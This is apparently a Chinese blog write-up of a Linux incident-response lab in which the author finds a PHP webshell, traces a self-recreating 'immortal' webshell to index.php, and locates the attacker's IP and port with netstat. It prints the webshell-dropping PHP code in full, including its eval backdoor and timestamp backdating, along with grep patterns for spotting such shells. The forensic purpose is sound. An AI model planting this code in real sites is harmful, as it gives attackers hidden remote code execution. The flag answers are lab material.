第一章 应急响应- Linux入侵排查

第一章 应急响应- Linux入侵排查

1、web目录存在木马,请找到木马的密码提交

这里告诉我们web目录存在木马 我们来到/var/www/html下面看到有一个1.php 使用cat命令查看发现是一句话木马,木马密码就为POST传参的值

image-20251017200754817

flag{1}

2、服务器疑似存在不死马,请找到不死马的密码提交

指恶意软件中的一种 persistence(持久化)或自愈机制:即使你杀掉运行的进程、删除文件、甚至重装某些软件后,恶意程序仍能通过其它途径重新出现或继续控制主机。
变体包括“自愈型后门”、“复活木马”、“固件/引导级后门”等。

这里可以使用命令查看木马文件在哪里

find ./ -type f -name "*.php" | xargs grep "eval("

image-20251017201313581

可以看到这里有个md5加密值拿去解密一下获得flag

flag{hello}

find ./ type f -name ".jsp" | xargs grep "exec("
find ./ type f -name "
.php" | xargs grep "eval("
find ./ type f -name ".asp" | xargs grep "execute("
find ./ type f -name "
.aspx" | xargs grep "eval("

//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"

xargs:xargs命令用于将输入数据重新格式化后作为参数传递给其他命令。在这个命令中,xargs将find命令找到的文件列表作为参数传递给grep命令。

grep "eval(":grep命令用于搜索文本,并输出匹配的行。这里"eval("是grep命令的搜索模式,用于查找包含eval(字符串的行。

3、不死马是通过哪个文件生成的,请提交文件名

这里我们cat index.php文件

image-20251017201454378

$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);

file_put_contents(...):在网站根目录写入一个隐藏文件 .shell.php,内容是一个 webshell

webshell 内容逻辑:如果 $_POST["pass"] 的 MD5 等于 5d41402abc4b2a76b9719d911017c592(这是 md5("hello")),就对 $_POST['cmd'] 的内容做 eval() —— 任意 PHP 代码执行

system('touch -m -d "2021-01-01 00:00:01" .shell.php');:把这个文件的修改时间改成 2021-01-01,目的是伪装/隐藏(不让人通过最近修改时间快速发现)。

usleep(3000);:短暂睡眠,微小延迟(没实质作用,可能用于避开某些检测时序)。

这是一个后门 webshell,密码是 hello(因为 md5("hello") == 5d41402...)。攻击者/恶意代码在每次 index.php 被访问时都会尝试写入(或覆盖)这个后门并隐藏时间戳。

至此我们确定文件为

flag{index.php}

4、黑客留下了木马文件,请找出黑客的服务器ip提交

这里我看了apach的日志和ssh的没有只能回到刚刚那个目录启动木马文件了,我们这里富裕权限然后启动这个木马文件

image-20251017202427041

接着在另外一个终端再次连接ssh观察一下什么情况 使用命令

netstat -antlp | more

image-20251017202747125

可以看到木马文件的地址

flag{10.11.55.21}

这里你使用ss -antlp是看不出来的ss -antlp

  • ss-l 表示 只显示监听的套接字(LISTEN)
  • 因此它不会显示 ESTABLISHED、SYN_SENT 等活跃连接

✅ 它适合查“谁在监听端口”
❌ 不适合查“谁在建立连接”netstat -antlp

  • 同样的参数里,netstat-a 会列出所有连接(包括监听 + 已建立 + 等待状态)
  • 所以你在这里看到:

ss -antlp 只显示监听端口(谁在等连接)
netstat -antlp 显示监听 + 已连接状态(谁在通信)

5、黑客留下了木马文件,请找出黑客服务器开启的监端口提交

这里端口号就是木马文件后面的

flag{3333}
posted @ 2025-10-17 21:55  0xMouise  阅读(3)  评论(0)    收藏  举报